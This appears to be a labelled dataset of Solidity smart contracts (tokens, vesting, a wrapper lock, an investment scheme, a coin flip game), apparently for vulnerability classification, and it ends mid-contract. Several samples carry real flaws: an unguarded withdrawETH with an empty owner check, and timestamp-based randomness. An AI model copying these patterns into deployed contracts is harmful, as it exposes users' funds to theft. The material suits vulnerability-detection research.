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pragma solidity ^0.4.24;
contract IERC20 {
function totalSupply() public constant returns (uint _totalSupply);
function balanceOf(address _owner) public constant returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
library SafeMathLib {
function minus(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract HasAddresses {
address founder1FirstLockup = 0xfC866793142059C79E924d537C26E5E68a3d0CB4;
address founder1SecondLockup = 0xa5c5EdA285866a89fbe9434BF85BC7249Fa98D45;
address founder1ThirdLockup = 0xBE2D892D27309EE50D53aa3460fB21A2762625d6;
address founder2FirstLockup = 0x7aeFB5F308C60D6fD9f9D79D6BEb32e2BbEf8F3C;
address founder2SecondLockup = 0x9d92785510fadcBA9D0372e96882441536d6876a;
address founder2ThirdLockup = 0x0e0B9943Ea00393B596089631D520bF1489d4d2E;
address founder3FirstLockup = 0x8E06EdC382Dd2Bf3F2C36f7e2261Af2c7Eb84835;
address founder3SecondLockup = 0x6A5AebCd6fA054ff4D10c51bABce17F189A9998a;
address founder3ThirdLockup = 0xe10E613Be00a6383Dde52152Bc33007E5669e861;
}
contract VestingPeriods{
uint firstLockup = 1544486400;
uint secondLockup = 1560211200;
uint thirdLockup = 1576022400;
}
contract Vestable {
mapping(address => uint) vestedAddresses ;
bool isVestingOver = false;
event AddVestingAddress(address vestingAddress, uint maturityTimestamp);
function addVestingAddress(address vestingAddress, uint maturityTimestamp) internal{
vestedAddresses[vestingAddress] = maturityTimestamp;
emit AddVestingAddress(vestingAddress, maturityTimestamp);
}
function checkVestingTimestamp(address testAddress) public view returns(uint){
return vestedAddresses[testAddress];
}
function checkVestingCondition(address sender) internal view returns(bool) {
uint vestingTimestamp = vestedAddresses[sender];
if(vestingTimestamp > 0) {
return (now > vestingTimestamp);
}
else {
return true;
}
}
}
contract IsUpgradable{
address oldTokenAddress = 0x420335D3DEeF2D5b87524Ff9D0fB441F71EA621f;
uint upgradeDeadline = 1543536000;
address oldTokenBurnAddress = 0x30E055F7C16B753dbF77B57f38782C11A9f1C653;
IERC20 oldToken = IERC20(oldTokenAddress);
}
contract BlockonixToken is IERC20, Ownable, Vestable, HasAddresses, VestingPeriods, IsUpgradable {
using SafeMathLib for uint256;
uint256 public constant totalTokenSupply = 1009208335 * 10**16;
uint256 public burntTokens;
string public constant name = "Blockonix";
string public constant symbol = "BDT";
uint8 public constant decimals = 18;
mapping (address => uint256) public balances;
mapping(address => mapping(address => uint256)) approved;
event Upgraded(address _owner, uint256 amount);
constructor() public {
uint256 lockedTokenPerAddress = 280335648611111000000000;
balances[founder1FirstLockup] = lockedTokenPerAddress;
balances[founder2FirstLockup] = lockedTokenPerAddress;
balances[founder3FirstLockup] = lockedTokenPerAddress;
balances[founder1SecondLockup] = lockedTokenPerAddress;
balances[founder2SecondLockup] = lockedTokenPerAddress;
balances[founder3SecondLockup] = lockedTokenPerAddress;
balances[founder1ThirdLockup] = lockedTokenPerAddress;
balances[founder2ThirdLockup] = lockedTokenPerAddress;
balances[founder3ThirdLockup] = lockedTokenPerAddress;
emit Transfer(address(this), founder1FirstLockup, lockedTokenPerAddress);
emit Transfer(address(this), founder2FirstLockup, lockedTokenPerAddress);
emit Transfer(address(this), founder3FirstLockup, lockedTokenPerAddress);
emit Transfer(address(this), founder1SecondLockup, lockedTokenPerAddress);
emit Transfer(address(this), founder2SecondLockup, lockedTokenPerAddress);
emit Transfer(address(this), founder3SecondLockup, lockedTokenPerAddress);
emit Transfer(address(this), founder1ThirdLockup, lockedTokenPerAddress);
emit Transfer(address(this), founder2ThirdLockup, lockedTokenPerAddress);
emit Transfer(address(this), founder3ThirdLockup, lockedTokenPerAddress);
addVestingAddress(founder1FirstLockup, firstLockup);
addVestingAddress(founder2FirstLockup, firstLockup);
addVestingAddress(founder3FirstLockup, firstLockup);
addVestingAddress(founder1SecondLockup, secondLockup);
addVestingAddress(founder2SecondLockup, secondLockup);
addVestingAddress(founder3SecondLockup, secondLockup);
addVestingAddress(founder1ThirdLockup, thirdLockup);
addVestingAddress(founder2ThirdLockup, thirdLockup);
addVestingAddress(founder3ThirdLockup, thirdLockup);
}
function burn(uint256 _value) public {
require (balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].minus(_value);
burntTokens += _value;
emit BurnToken(msg.sender, _value);
}
function totalSupply() view public returns (uint256 _totalSupply) {
return totalTokenSupply - burntTokens;
}
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
function _transfer(address _from, address _to, uint256 _value) internal {
require (_to != 0x0);
require (balances[_from] >= _value);
require (balances[_to] + _value > balances[_to]);
balances[_from] = balances[_from].minus(_value);
balances[_to] = balances[_to].plus(_value);
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success){
require(checkVestingCondition(msg.sender));
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(checkVestingCondition(_from));
require (_value <= approved[_from][msg.sender]);
approved[_from][msg.sender] = approved[_from][msg.sender].minus(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(checkVestingCondition(_spender));
if(balances[msg.sender] >= _value) {
approved[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
return false;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return approved[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event BurnToken(address _owner, uint256 _value);
function upgrade() external {
require(now <=upgradeDeadline);
uint256 balance = oldToken.balanceOf(msg.sender);
require(balance>0);
oldToken.transferFrom(msg.sender, oldTokenBurnAddress, balance);
balances[msg.sender] += balance;
emit Transfer(this, msg.sender, balance);
emit Upgraded(msg.sender, balance);
}
} | 1 | 3,630 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract UnionChain is StandardToken, Pausable {
string public constant name = 'Union Chain';
string public constant symbol = 'UNC';
uint8 public constant decimals = 6;
uint256 public constant INITIAL_SUPPLY = 100000000 * 10**uint256(decimals);
function UnionChain() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
require(_to != address(0));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
require(_to != address(0));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
} | 1 | 2,115 |
pragma solidity ^0.4.25;
contract EtherStateEquivalentToken {
address public owner;
mapping (address => uint256) public tokenBalance;
mapping (address => uint256) public refBalance;
uint256 public tokenPrice = 0.0004 ether;
uint256 public tokenSupply = 0;
uint256 constant public softCap = 2500000 ether;
uint256 constant public hardCap = 10000000 ether;
uint256 public start;
uint256 public softCapMoment = 0;
uint256 public softCapPeriod = 1483300;
uint256 public hardCapPeriod = softCapPeriod;
uint256 public investedTotal = 0;
bool public softCapReached = false;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier softCapFailed {
require(now > start + softCapPeriod && !softCapReached);
_;
}
constructor() public {
owner = msg.sender;
start = now;
}
function() public payable {
invest(msg.sender, msg.value, 0x0, 0x0);
}
function buy(address ref1, address ref2) public payable {
require(msg.value > 0);
invest(msg.sender, msg.value, ref1, ref2);
}
function invest(address investor, uint256 value, address ref1, address ref2) internal {
uint256 tokens = value / tokenPrice * 1 ether;
require (tokens + tokenSupply <= hardCap);
if (softCapMoment > 0) require(now < softCapMoment + hardCapPeriod);
tokenBalance[investor] += tokens;
tokenSupply += tokens;
if (tokenSupply >= softCap) {
softCapReached = true;
softCapMoment = now;
}
uint256 ref1Money = value * 6 / 100;
uint256 ref2Money = value * 3 / 100;
uint256 ownerMoney = value - ref1Money - ref2Money;
if (ref1 != 0x0 && tokenBalance[ref1] >= 125 ether) {
refBalance[ref1] += ref1Money;
} else {
refBalance[owner] += ref1Money;
}
if (ref2 != 0x0 && tokenBalance[ref2] >= 125 ether) {
refBalance[ref2] += ref2Money;
} else {
refBalance[owner] += ref2Money;
}
refBalance[owner] += ownerMoney;
investedTotal += value;
emit OnInvest(investor, value, tokens, ref1, ref2, now);
}
function withdraw() public {
require(softCapReached);
uint256 value = refBalance[msg.sender];
require(value > 0);
refBalance[msg.sender] = 0;
msg.sender.transfer(value);
emit OnWithdraw(msg.sender, value, now);
}
function withdrawAmount(uint256 amount) public {
require(amount > 0);
require(softCapReached);
uint256 value = refBalance[msg.sender];
require(value >= amount);
refBalance[msg.sender] = value-amount;
msg.sender.transfer(amount);
emit OnWithdraw(msg.sender, amount, now);
}
function withdrawAmountTo(uint256 amount, address receiver) public {
require(amount > 0);
require(softCapReached);
uint256 value = refBalance[msg.sender];
require(value >= amount);
refBalance[msg.sender] = value-amount;
receiver.transfer(amount);
emit OnWithdrawTo(msg.sender, receiver, amount, now);
}
function deinvest() public softCapFailed {
uint256 tokens = tokenBalance[msg.sender];
require(tokens > 0);
tokenBalance[msg.sender] = 0;
tokenSupply -= tokens;
uint256 money = tokens * tokenPrice / 1e18;
msg.sender.transfer(money);
emit OnDeinvest(msg.sender, tokens, money, now);
}
function goESM() public {
require(softCapReached);
uint256 tokens = tokenBalance[msg.sender];
require(tokens > 0);
tokenBalance[msg.sender] = 0;
tokenSupply -= tokens;
emit OnExchangeForESM(msg.sender, tokens, now);
}
function transfer(address receiver) public {
uint256 tokens = tokenBalance[msg.sender];
require(tokens > 0);
tokenBalance[msg.sender] = 0;
tokenBalance[receiver] += tokens;
emit OnTransfer(msg.sender, receiver, tokens, now);
}
event OnInvest (
address investor,
uint256 value,
uint256 tokensGranted,
address ref1,
address ref2,
uint256 timestamp
);
event OnWithdraw (
address indexed investor,
uint256 value,
uint256 timestamp
);
event OnWithdrawTo (
address indexed investor,
address indexed receiver,
uint256 value,
uint256 timestamp
);
event OnDeinvest (
address indexed investor,
uint256 tokensBurned,
uint256 value,
uint256 timestamp
);
event OnExchangeForESM (
address indexed investor,
uint256 tokensBurned,
uint256 timestamp
);
event OnTransfer (
address investorA,
address investorB,
uint256 tokens,
uint256 timestamp
);
} | 0 | 1,787 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20OldBasic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public;
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20Old is ERC20OldBasic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract WrapperLock is BasicToken, Ownable {
using SafeMath for uint256;
address public TRANSFER_PROXY;
mapping (address => bool) public isSigner;
bool public erc20old;
string public name;
string public symbol;
uint public decimals;
address public originalToken;
mapping (address => uint256) public depositLock;
mapping (address => uint256) public balances;
function WrapperLock(address _originalToken, string _name, string _symbol, uint _decimals, address _transferProxy, bool _erc20old) Ownable() {
originalToken = _originalToken;
TRANSFER_PROXY = _transferProxy;
name = _name;
symbol = _symbol;
decimals = _decimals;
isSigner[msg.sender] = true;
erc20old = _erc20old;
}
function deposit(uint _value, uint _forTime) public returns (bool success) {
require(_forTime >= 1);
require(now + _forTime * 1 hours >= depositLock[msg.sender]);
if (erc20old) {
ERC20Old(originalToken).transferFrom(msg.sender, address(this), _value);
} else {
require(ERC20(originalToken).transferFrom(msg.sender, address(this), _value));
}
balances[msg.sender] = balances[msg.sender].add(_value);
totalSupply_ = totalSupply_.add(_value);
depositLock[msg.sender] = now + _forTime * 1 hours;
return true;
}
function withdraw(
uint _value,
uint8 v,
bytes32 r,
bytes32 s,
uint signatureValidUntilBlock
)
public
returns
(bool success)
{
require(balanceOf(msg.sender) >= _value);
if (now <= depositLock[msg.sender]) {
require(block.number < signatureValidUntilBlock);
require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s));
}
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
depositLock[msg.sender] = 0;
if (erc20old) {
ERC20Old(originalToken).transfer(msg.sender, _value);
} else {
require(ERC20(originalToken).transfer(msg.sender, _value));
}
return true;
}
function withdrawBalanceDifference() public onlyOwner returns (bool success) {
require(ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_) > 0);
if (erc20old) {
ERC20Old(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_));
} else {
require(ERC20(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_)));
}
return true;
}
function withdrawDifferentToken(address _differentToken, bool _erc20old) public onlyOwner returns (bool) {
require(_differentToken != originalToken);
require(ERC20(_differentToken).balanceOf(address(this)) > 0);
if (_erc20old) {
ERC20Old(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this)));
} else {
require(ERC20(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this))));
}
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
return false;
}
function transferFrom(address _from, address _to, uint _value) public {
require(isSigner[_to] || isSigner[_from]);
assert(msg.sender == TRANSFER_PROXY);
balances[_to] = balances[_to].add(_value);
depositLock[_to] = depositLock[_to] > now ? depositLock[_to] : now + 1 hours;
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
if (_spender == TRANSFER_PROXY) {
return 2**256 - 1;
}
}
function balanceOf(address _owner) public constant returns (uint256) {
return balances[_owner];
}
function isValidSignature(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
)
public
constant
returns (bool)
{
return isSigner[ecrecover(
keccak256("\x19Ethereum Signed Message:\n32", hash),
v,
r,
s
)];
}
function addSigner(address _newSigner) public {
require(isSigner[msg.sender]);
isSigner[_newSigner] = true;
}
function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) {
return keccak256(_sender, _wrapper, _validTill);
}
} | 1 | 3,620 |
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function rescueTokens(ERC20Basic _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
assert(_token.transfer(owner, balance));
}
function withdrawEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
uint256 totalSupply_;
mapping(address => uint256) balances;
mapping(address => uint256) lockedBalanceMap;
mapping(address => uint256) releaseTimeMap;
event BalanceLocked(address indexed _addr, uint256 _amount);
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function checkNotLocked(address _addr, uint256 _value) internal view returns (bool) {
uint256 balance = balances[_addr].sub(_value);
if (releaseTimeMap[_addr] > block.timestamp && balance < lockedBalanceMap[_addr]) {
revert();
}
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
checkNotLocked(msg.sender, _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function lockedBalanceOf(address _owner) public view returns (uint256) {
return lockedBalanceMap[_owner];
}
function releaseTimeOf(address _owner) public view returns (uint256) {
return releaseTimeMap[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
checkNotLocked(_from, _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract AbstractToken is Ownable, StandardToken {
string public name;
string public symbol;
uint256 public decimals;
string public value;
string public description;
string public website;
string public email;
string public news;
uint256 public cap;
mapping (address => bool) public mintAgents;
event Mint(address indexed _to, uint256 _amount);
event MintAgentChanged(address _addr, bool _state);
event NewsPublished(string _news);
function setInfo(string _description, string _website, string _email) external onlyOwner returns (bool) {
description = _description;
website = _website;
email = _email;
return true;
}
function setNews(string _news) external onlyOwner returns (bool) {
news = _news;
emit NewsPublished(_news);
return true;
}
function setMintAgent(address _addr, bool _state) onlyOwner public returns (bool) {
mintAgents[_addr] = _state;
emit MintAgentChanged(_addr, _state);
return true;
}
constructor() public {
setMintAgent(msg.sender, true);
}
}
contract VNETToken is Ownable, AbstractToken {
event Donate(address indexed _from, uint256 _amount);
constructor() public {
name = "VNET Token";
symbol = "VNET";
decimals = 6;
value = "1 VNET Token = 100 GByte client newtwork traffic flow";
cap = 35000000000 * (10 ** decimals);
}
function () public payable {
emit Donate(msg.sender, msg.value);
}
function mint(address _to, uint256 _amount) external returns (bool) {
require(mintAgents[msg.sender] && totalSupply_.add(_amount) <= cap);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function mintWithLock(address _to, uint256 _amount, uint256 _lockedAmount, uint256 _releaseTime) external returns (bool) {
require(mintAgents[msg.sender] && totalSupply_.add(_amount) <= cap);
require(_amount >= _lockedAmount);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
lockedBalanceMap[_to] = lockedBalanceMap[_to] > 0 ? lockedBalanceMap[_to].add(_lockedAmount) : _lockedAmount;
releaseTimeMap[_to] = releaseTimeMap[_to] > 0 ? releaseTimeMap[_to] : _releaseTime;
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
emit BalanceLocked(_to, _lockedAmount);
return true;
}
} | 0 | 1,587 |
pragma solidity ^0.4.20;
contract Token {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowed;
function transfer(address _to, uint256 _value) public returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract F1C_01Test
{
address public adminaddr;
address public useraddr;
address public owner;
mapping (address => mapping(address => uint256)) public dep_token;
mapping (address => uint256) public dep_ETH;
function F1C_01Test() public
{
adminaddr = msg.sender;
}
modifier onlyOwner() {
_;
}
function safeAdd(uint crtbal, uint depbal) public returns (uint)
{
uint totalbal = crtbal + depbal;
return totalbal;
}
function safeSub(uint crtbal, uint depbal) public returns (uint)
{
uint totalbal = crtbal - depbal;
return totalbal;
}
function balanceOf(address token,address user) public returns(uint256)
{
return Token(token).balanceOf(user);
}
function transfer(address token, uint256 tokens)public payable
{
if(Token(token).approve(address(this),tokens))
{
dep_token[msg.sender][token] = safeAdd(dep_token[msg.sender][token], tokens);
Token(token).transferFrom(msg.sender,address(this), tokens);
}
}
function token_withdraw(address token, address to, uint256 tokens)public payable
{
if(adminaddr==msg.sender)
{
dep_token[msg.sender][token] = safeSub(dep_token[msg.sender][token] , tokens) ;
Token(token).transfer(to, tokens);
}
}
function admin_token_withdraw(address token, address to, uint256 tokens)public payable
{
if(adminaddr==msg.sender)
{
if(dep_token[msg.sender][token]>=tokens)
{
dep_token[msg.sender][token] = safeSub(dep_token[msg.sender][token] , tokens) ;
Token(token).transfer(to, tokens);
}
}
}
function tok_bal_contract(address token) public view returns(uint256)
{
return Token(token).balanceOf(address(this));
}
function depositETH() payable external
{
}
function withdrawETH(address to, uint256 value) public payable returns (bool)
{
to.transfer(value);
return true;
}
function admin_withdrawETH(address to, uint256 value) public payable returns (bool)
{
if(adminaddr==msg.sender)
{
to.transfer(value);
return true;
}
}
} | 1 | 2,857 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract RootInBlocks is Ownable {
mapping(string => uint) map;
event Added(
string hash,
uint time
);
function put(string hash) public onlyOwner {
require(map[hash] == 0);
map[hash] = block.timestamp;
emit Added(hash, block.timestamp);
}
function get(string hash) public constant returns(uint) {
return map[hash];
}
} | 0 | 1,731 |
pragma solidity ^0.4.25;
contract CoinFlip {
address owner;
uint payPercentage = 90;
uint public MaxAmountToBet = 200000000000000000;
struct Game {
address addr;
uint blocknumber;
uint blocktimestamp;
uint bet;
uint prize;
bool winner;
}
Game[] lastPlayedGames;
Game newGame;
event Status(
string _msg,
address user,
uint amount,
bool winner
);
constructor() public payable {
owner = msg.sender;
}
modifier onlyOwner() {
if (owner != msg.sender) {
revert();
} else {
_;
}
}
function Play() public payable {
if (msg.value > MaxAmountToBet) {
revert();
} else {
if ((block.timestamp % 2) == 0) {
if (address(this).balance < (msg.value * ((100 + payPercentage) / 100))) {
msg.sender.transfer(address(this).balance);
emit Status('Congratulations, you win! Sorry, we didn\'t have enought money, we will deposit everything we have!', msg.sender, msg.value, true);
newGame = Game({
addr: msg.sender,
blocknumber: block.number,
blocktimestamp: block.timestamp,
bet: msg.value,
prize: address(this).balance,
winner: true
});
lastPlayedGames.push(newGame);
} else {
uint _prize = msg.value * (100 + payPercentage) / 100;
emit Status('Congratulations, you win!', msg.sender, _prize, true);
msg.sender.transfer(_prize);
newGame = Game({
addr: msg.sender,
blocknumber: block.number,
blocktimestamp: block.timestamp,
bet: msg.value,
prize: _prize,
winner: true
});
lastPlayedGames.push(newGame);
}
} else {
emit Status('Sorry, you loose!', msg.sender, msg.value, false);
newGame = Game({
addr: msg.sender,
blocknumber: block.number,
blocktimestamp: block.timestamp,
bet: msg.value,
prize: 0,
winner: false
});
lastPlayedGames.push(newGame);
}
}
}
function getGameCount() public constant returns(uint) {
return lastPlayedGames.length;
}
function getGameEntry(uint index) public constant returns(address addr, uint blocknumber, uint blocktimestamp, uint bet, uint prize, bool winner) {
